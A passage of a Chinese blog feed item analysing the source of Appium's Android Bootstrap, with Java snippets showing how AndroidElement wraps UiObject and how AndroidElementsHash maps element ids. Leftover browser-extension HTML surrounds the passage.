value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player" style="display: none; height: 0px; width: 0px;"></div><div id="SL_alert100" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421891.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-28 01:29 <a href="http://www.blogjava.net/qileilove/archive/2014/12/28/421891.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Appium Android Bootstrap之控件AndroidElement</title><link>http://www.blogjava.net/qileilove/archive/2014/12/23/421669.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:26:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/23/421669.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421669.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/23/421669.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421669.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421669.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">AndroidElementHash的这个getElement命令要做的事情就是针对这两点来根据不同情况获得目标控件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* Return an elements child given the key (context id), or uses the selector</div><div style="word-break: break-all; margin: 10px 0px;">* to get the element.</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @param sel</div><div style="word-break: break-all; margin: 10px 0px;">* @param key</div><div style="word-break: break-all; margin: 10px 0px;">* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Element id.</div><div style="word-break: break-all; margin: 10px 0px;">* @return {@link AndroidElement}</div><div style="word-break: break-all; margin: 10px 0px;">* @throws ElementNotFoundException</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">public AndroidElement getElement(final UiSelector sel, final String key)</div><div style="word-break: break-all; margin: 10px 0px;">throws ElementNotFoundException {</div><div style="word-break: break-all; margin: 10px 0px;">AndroidElement baseEl;</div><div style="word-break: break-all; margin: 10px 0px;">baseEl = elements.get(key);</div><div style="word-break: break-all; margin: 10px 0px;">UiObject el;</div><div style="word-break: break-all; margin: 10px 0px;">if (baseEl == null) {</div><div style="word-break: break-all; margin: 10px 0px;">el = new UiObject(sel);</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">try {</div><div style="word-break: break-all; margin: 10px 0px;">el = baseEl.getChild(sel);</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final UiObjectNotFoundException e) {</div><div style="word-break: break-all; margin: 10px 0px;">throw new ElementNotFoundException();</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">if (el.exists()) {</div><div style="word-break: break-all; margin: 10px 0px;">return addElement(el);</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">throw new ElementNotFoundException();</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　如果是第1种情况就直接通过选择子构建UiObject对象，然后通过addElement把UiObject对象转换成AndroidElement对象保存到控件哈希表</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　如果是第2种情况就先根据appium传过来的控件哈希表键值获得父控件，再通过子控件的选择子在父控件的基础上查找到目标UiObject控件，最后跟上面一样把该控件通过上面的addElement把UiObject控件转换成AndroidElement控件对象保存到控件哈希表</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　4. 求证</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　上面有提过，如果pc端的脚本执行对同一个控件的两次findElement会创建两个不同id的AndroidElement并存放到控件哈希表中，那么为什么appium的团队没有做一个增强，增加一个keyMap的方法（算法）和一些额外的信息来让同一个控件使用不同的key的时候对应的还是同一个AndroidElement控件呢？毕竟这才是哈希表实用的特性之一了，不然你直接用一个Dictionary不就完事了？网上说了几点hashtable和dictionary的差别，如多线程环境最好使用哈希表而非字典等，但在bootstrap这个控件哈希表的情况下我不是很信服这些说法，有谁清楚的还劳烦指点一二了</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　这里至于为什么appium不去提供额外的key信息并且实现keyMap算法，我个人倒是认为有如下原因：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　有谁这么无聊在同一个测试方法中对同一个控件查找两次？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　如果同一个控件运用不同的选择子查找两次的话，因为最终底层的UiObject的成员变量UiSelector mSelector不一样，所以确实可以认为是不同的控件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　但以下两个如果用同样的UiSelector选择子来查找控件的情况我就解析不了了，毕竟在我看来bootstrap这边应该把它们看成是同一个对象的：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　同一个脚本不同的方法中分别对同一控件用同样的UiSelelctor选择子进行查找呢？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　不同脚本中呢？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　这些也许在今后深入了解中得到解决，但看家如果知道的，还望不吝赐教</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">5. 小结</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　最后我们对bootstrap的控件相关知识点做一个总结</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　AndroidElement的一个实例代表了一个bootstrap的控件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　AndroidElement控件的成员变量UiObject el代表了uiautomator框架中的一个真实窗口控件，通过它就可以直接透过uiautomator框架对控件进行实质性操作</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　pc端的WebElement元素和Bootstrap的AndroidElement控件是通过AndroidElement控件的String id进行映射关联的</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　AndroidElementHash类维护了一个以AndroidElement的id为键值，以AndroidElement的实例为value的全局唯一哈希表，pc端想要获得一个控件的时候会先从这个哈希表查找，如果没有了再创建新的AndroidElement控件并加入到该哈希表中，所以该哈希表中维护的是一个当前已经使用过的控件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">相关文章：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">Appium Android Bootstrap源码分析之简介</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　通过上一篇<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>《<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Appium</strong></u></a>&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a>&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Bootstrap</strong></u></a>源码分析之简介》我们对bootstrap的定义以及其在appium和uiautomator处于一个什么样的位置有了一个初步的了解，那么按照正常的写书的思路，下一个章节应该就要去看bootstrap是如何建立socket来获取数据然后怎样进行处理的了。但本人觉得这样子做并不会太好，因为到时整篇文章会变得非常的冗长，因为你在编写的过程中碰到不认识的类又要跳入进去进行说明分析。这里我觉得应该尝试吸取著名的《重构》这本书的建议：一个方法的代码不要写得太长，不然可读性会很差，尽量把其分解成不同的函数。那我们这里就是用类似的思想，不要尝试在一个文章中把所有的事情都做完，而是尝试先把关键的类给描述清楚，最后才去把这些类通过一个实例分析给串起来呈现给读者，这样大家就不会因为一个文章太长影响可读性而放弃往下<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">学习</strong></u></a>了。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　那么我们这里为什么先说bootstrap对控件的处理，而非刚才提到的socket相关的socket服务器的建立呢？我是这样子看待的，大家看到本人这篇文章的时候，很有可能之前已经了解过本人针对uiautomator源码分析那个系列的文章了，或者已经有uiautomator的相关知识，所以脑袋里会比较迫切的想知道究竟appium是怎么运用了uiautomator的，那么在appium中于这个问题最贴切的就是appium在服务器端是怎么使用了uiautomator的控件的。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">这里我们主要会分析两个类：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">AndroidElement</strong></u></a>:代表了bootstrap持有的一个ui界面的控件的类，它拥有一个UiObject成员对象和一个代表其在下面的哈希表的键值的String类型成员变量id</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　AndroidElementsHash:持有了一个包含所有bootstrap（也就是appium）曾经见到过的（也就是脚本代码中findElement方法找到过的）控件的哈希表，它的key就是AndroidElement中的id，每当appium通过findElement找到一个新控件这个id就会＋1，Appium的pc端和bootstrap端都会持有这个控件的id键值，当需要调用一个控件的方法时就需要把代表这个控件的id键值传过来让bootstrap可以从这个哈希表找到对应的控件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">1. AndroidElement和UiObject的组合关系</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　从上面的描述我们可以知道，AndroidElement这个类里面拥有一个UiObject这个变量：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　public class AndroidElement {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　private final UiObject el;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　private String &nbsp; &nbsp; &nbsp; &nbsp; id;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　...</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　大家都知道UiObject其实就是UiAutomator里面代表一个控件的类，通过它就能够对控件进行操作（当然最终还是通过UiAutomation框架). AnroidElement就是通过它来跟UiAutomator发生关系的。我们可以看到下面的AndroidElement的点击click方法其实就是很干脆的调用了UiObject的click方法：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　public boolean click() throws UiObjectNotFoundException {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　return el.click();</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　当然这里除了click还有很多控件相关的操作，比如dragTo,getText,longClick等，但无一例外，都是通过UiObject来实现的，这里就不一一列举了。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　2. 脚本的WebElement和Bootstrap的AndroidElement的映射关系</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　我们在脚本上对控件的认识就是一个WebElement:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　WebElement addNote = &nbsp;driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　而在Bootstrap中一个对象就是一个AndroidElement. 那么它们是怎么映射到一起的呢？我们其实可以先看如下的代码：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　addNote.getText();</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　addNote.click();</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　做的事情就是获得Notes这个app的菜单，然后调用控件的getText来获得&#8216;Add note'控件的文本信息，以及通过控件的click方法来点击该控件。那么我们看下调试信息是怎样的：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49980" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412101634581t3vs.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /><br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">pc端传过来的json字串有几个fields：</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　cmd:代表这个是什么命令类型，其实就是AndroidCommandType的那两个值</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　package io.appium.android.bootstrap;</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　/**</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　* Enumeration for all the command types.</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　*</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　*/</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　public enum AndroidCommandType {</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　ACTION, SHUTDOWN</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　}</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　action: 具体命令</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　params: 提供的参数，这里提供了一个elementId的键值对</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　从上面的两条调试信息看来，其实没有明显的看到究竟使用的是哪个控件。其实这里不起眼的elementId就是确定用的是哪个控件的，注意这个elementId并不是一个控件在界面上的资源id，它其实是Bootstrap维护的一个保存所有已经获取过的控件的哈希表的键值。如上一小节看到的，每一个AndroidElement都有两个重要的成员变量：</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　UiObject el ：uiautomator框架中代表了一个真实的窗口控件</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　Sting id : &nbsp;一个唯一的自动增加的字串类型整数，pc端就是通过它来在AndroidElementHash这个类中找到想要的控件的</div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　<strong style="word-break: break-all; line-height: normal !important;">　3. AndroidElement控件哈希表</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　上一节我们说到appium pc端是通过id把WebElement和目标机器端的AndroidElement映射起来的，那么我们这一节就来看下维护AndroidElement的这个哈希表是怎么实现的。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　首先，它拥有两个成员变量：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　private final Hashtable&lt;String, AndroidElement&gt; elements;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　private &nbsp; &nbsp; &nbsp; Integer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; counter;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　elements ：一个以AndroidElement 的id的字串类型为key，以AndroidElement的实例为value的的哈希表</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　counter : 一个整型变量，有两个作用：其一是它代表了当前已经用到的控件的数目（其实也不完全是，你在脚本中对同一个控件调用两次findElement其实会产生两个不同id的AndroidElement控件），其二是它代表了一个新用到的控件的id，而这个id就是上面的elements哈希表的键</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　这个哈希表的键值都是从0开始的，请看它的构造函数：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　/**</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　* Constructor</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　*/</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　public AndroidElementsHash() {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　counter = 0;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　elements = new Hashtable&lt;String, AndroidElement&gt;();</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　而它在整个Bootstrap中是有且只有一个实例的，且看它的单例模式实现：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　public static AndroidElementsHash getInstance() {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　if (AndroidElementsHash.instance == null) {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　AndroidElementsHash.instance = new AndroidElementsHash();</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　return AndroidElementsHash.instance;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　以下增加一个控件的方法addElement充分描述了为什么说counter是一个自增加的key，且是每个新发现的AndroidElement控件的id：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　public AndroidElement addElement(final UiObject element) {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　counter++;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　final String key = counter.toString();</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　final AndroidElement el = new AndroidElement(key, element);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　elements.put(key, el);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　return el;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　<strong style="word-break: break-all; line-height: normal !important;">　从Appium发过来的控件查找命令大方向上分两类：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　1. 直接基于Appium Driver来查找，这种情况下appium发过来的json命令是不包含控件哈希表的键值信息的</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　WebElement addNote = driver.findElement(By.name("Add note"));</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　2. 基于父控件查找：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　WebElement el = driver.findElement(By.className("android.widget.ListView")).findElement(By.name("Note1"));</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　以上的脚本会先尝试找到Note1这个日记的父控件ListView,并把这个控件保存到控件哈希表，然后再根据父控件的哈希表键值以及子控件的选择子找到想要的Note1:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=49981" target="_blank" style="word-break: break-all; color: #45a2fc; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412101634582ckEu.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; text-align: left; width: 182px; height: 32px; display: inline-block; position: relative; background: url(http://www.51testing.com/html/wx.jpg) no-repeat;"></div></a></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" 